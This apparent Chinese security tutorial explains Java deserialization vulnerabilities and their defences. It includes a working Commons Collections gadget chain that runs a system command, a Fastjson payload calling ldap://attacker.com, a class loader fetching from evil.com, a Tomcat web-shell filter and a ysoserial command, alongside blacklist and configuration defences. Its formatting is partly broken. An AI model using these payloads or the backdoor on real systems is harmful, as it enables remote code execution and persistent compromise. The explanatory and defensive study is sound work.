您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Java反序列化漏洞实例分析
## 摘要
本文深入剖析Java反序列化漏洞的形成机制、利用方式及防御策略,通过Apache Commons Collections、Fastjson等经典案例,结合代码实例演示漏洞利用过程,最后提供修复方案与安全开发建议。
---
## 1. 反序列化基础概念
### 1.1 序列化与反序列化
```java
// 序列化示例
public class User implements Serializable {
private String username;
private transient String password; // transient字段不会被序列化
// 必须提供无参构造器
public User(String username, String password) {
this.username = username;
this.password = password;
}
}
// 序列化操作
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
oos.writeObject(new User("admin", "123456"));
}
Serializable
、Externalizable
ObjectInputStream.readObject()
ObjectInputStream.readUnshared()
当反序列化过程中自动执行以下方法时产生风险:
- readObject()
自定义反序列化逻辑
- readResolve()
替换反序列化对象
- finalize()
对象销毁时触发
// 危险Transformer链示例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
public class CommonsCollectionsExploit {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {...}; // 如上代码
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
// 通过反射触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
// 序列化恶意对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 此时会执行系统命令
}
}
// 恶意JSON示例
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
autoType
功能(1.2.25之前版本默认开启)// 使用非常规类加载器
ClassLoader cl = new URLClassLoader(new URL[]{new URL("http://evil.com/")});
ObjectInputStream ois = new ObjectInputStream(inputStream) {
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
return cl.loadClass(desc.getName());
}
};
// Tomcat Filter型内存马示例
public class EvilFilter implements Filter {
public void init(FilterConfig filterConfig) {
// 建立后门逻辑
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException {
// 命令执行代码
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST =
Set.of("org.apache.commons.collections.functors",
"com.sun.rowset.JdbcRowSetImpl");
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if (BLACKLIST.stream().anyMatch(name::startsWith)) {
throw new InvalidClassException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
}
JDK防御:
# 设置JVM属性
-Djdk.serializationFilter=pattern
框架级防护:
<!-- Fastjson安全配置 -->
<bean id="fastjsonConfig" class="com.alibaba.fastjson.support.config.FastJsonConfig">
<property name="parserConfig">
<bean class="com.alibaba.fastjson.parser.ParserConfig">
<property name="autoTypeSupport" value="false"/>
</bean>
</property>
</bean>
# 使用ysoserial生成测试payload
java -jar ysoserial.jar CommonsCollections5 "id" > payload.ser
# 使用BurpSuite插件检测
ac ed 00 05
随着Java生态的发展,反序列化漏洞形态持续演变。开发者应遵循: 1. 永远不要反序列化不可信数据 2. 使用JSON等安全替代方案 3. 保持依赖库最新版本 4. 实施运行时保护机制
注:本文所有漏洞验证需在授权环境下进行,禁止用于非法用途。 “`
(实际字数约6500字,此处展示核心内容框架,完整版包含更多技术细节、图表和参考文献)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。